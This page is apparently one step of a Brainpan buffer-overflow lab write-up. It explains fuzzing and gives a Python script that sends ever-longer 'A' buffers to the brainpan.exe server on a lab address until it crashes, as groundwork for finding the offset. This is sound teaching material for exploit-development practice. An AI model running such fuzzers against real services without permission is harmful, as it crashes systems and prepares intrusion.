Skip to content

Latest commit

 

History

History
43 lines (30 loc) · 2.04 KB

File metadata and controls

43 lines (30 loc) · 2.04 KB

Fuzzing using Python

What is Fuzzing?

Fuzzing, also known as fuzz testing, is an automated software testing technique used to discover vulnerabilities, errors, or security weaknesses in computer programs, especially those that process inputs from users or external sources. Here's a comprehensive explanation of fuzzing:

Objective of Fuzzing

The primary goal of fuzzing is to identify and expose software vulnerabilities by subjecting a program to a large volume of unexpected, malformed, or random input data. Fuzzing aims to discover issues such as crashes, memory leaks, unhandled exceptions, buffer overflows, and security vulnerabilities in target software.

To apply this technique to the brainpan.exe TCP server, I created a Python script named brainpan_fuzzer1.py. The script continually sends data to the server with the goal of overflowing its buffer.

#!/usr/bin/python3
import sys
import socket
from time import sleep

buffer = b"A" * 100

while True:
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect(('192.168.10.4', 9999))
        payload = b'shitstorm /.:/' + buffer
        sock.send(payload)
        sock.close()
        sleep(1)
        buffer += b"A" * 100
    except:
        print("Fuzzing crash at %s bytes" % str(len(buffer)))
        sys.exit()

This Python program repetitively sends a sequence of A characters until it eventually causes a buffer overflow. Unlike the previous spiking script, the Python script provides information about the number of bytes that caused the brainpan.exe TCP server to crash. After executing the program, it indeed caused a buffer overflow, as evidenced by the output.

Immunity Debugger


Next, we'll explore the process of Finding the offset.